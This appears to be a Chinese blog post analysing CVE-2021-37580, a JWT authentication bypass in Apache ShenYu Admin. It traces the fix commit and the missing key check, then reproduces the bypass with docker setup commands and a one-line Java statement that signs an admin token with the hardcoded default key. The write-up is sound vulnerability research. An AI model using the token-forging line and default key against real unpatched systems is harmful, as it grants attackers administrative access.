Apache ShenYu Admin bypass JWT authentication CVE-2021-37580

0x00 前言

在陈师傅的星球中看到三梦师傅发了关于 Apache ShenYu 的最新漏洞通告,所以趁着热乎我也跟进一下

0x01 漏洞跟进

漏洞影响版本为 ShenYu 2.3.0 和 2.4.0 ,根据描述可以看到是 JWT 的验权被绕过了

image-20211117210448497

找到 Github 链接,查看历史 commit 来寻找漏洞修复的 Commit ,并对比前后的修改

https://github.com/apache/incubator-shenyu/commit/f78adb26926ba53b4ec5c21f2cf7e931461d601d(Commit 翻了一会.. Orz 不知道师傅们有没有跟好的快速定位的方法)

这里将默认key给修改了

image-20211117210913785

下载源码之后开始分析,首先漏洞描述里提到是admin的权限校验被绕过所以先去看 shenyu-admin 的模块部分代码

image-20211117211958851

查看 pom.xml 中发现使用了 shiro ,所以先去看一下 shiro 部分实现的逻辑代码

来到 org.apache.shenyu.admin.shiro.config ,这里创建了 Filter 并添加到 FilterMap 里面,并且设置的路径是 /** ,这里创建 Filter 是为了让 jwt 来进行权限的管理

image-20211117212438568

跟进查看 StatelessAuthFilter ,获取请求包中的 X-Access-Token 头里面的token 数据

image-20211117213521130

会将获取到的 token 调用 subject.login

image-20211117223935399

Shiro 登陆流程大致是这样的

image-20211117224036414

所以接下来就会来到 org.apache.shenyu.admin.shiro.config#doGetAuthenticationInfo

可以看到压根没有对 jwt 的 key 进行校验

image-20211117224233947

在 2.4.1 版本中进行了修复 增加了对 key 的校验

image-20211117224410602

同时也修复了默认key的情况

image-20211117224558043

0x02 漏洞复现

看了看github的readme发现有docker,所以索性在dockerhub上寻找了

默认账号密码为 admin/123456

> docker pull apache/shenyu-admin:2.4.0
> docker network create shenyu
> docker run -d -p 9095:9095 --net shenyu apache/shenyu-admin:2.4.0

生成 admin 账号的 jwt token

System.out.println(JWT.create().withClaim("userName", "admin").withExpiresAt(new Date()).sign(Algorithm.HMAC256("2095132720951327")));

替换之后同样成功进行了查询

image-20211117232014431

0x03 参考链接

https://articles.zsxq.com/id_md6nco4ovt67.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇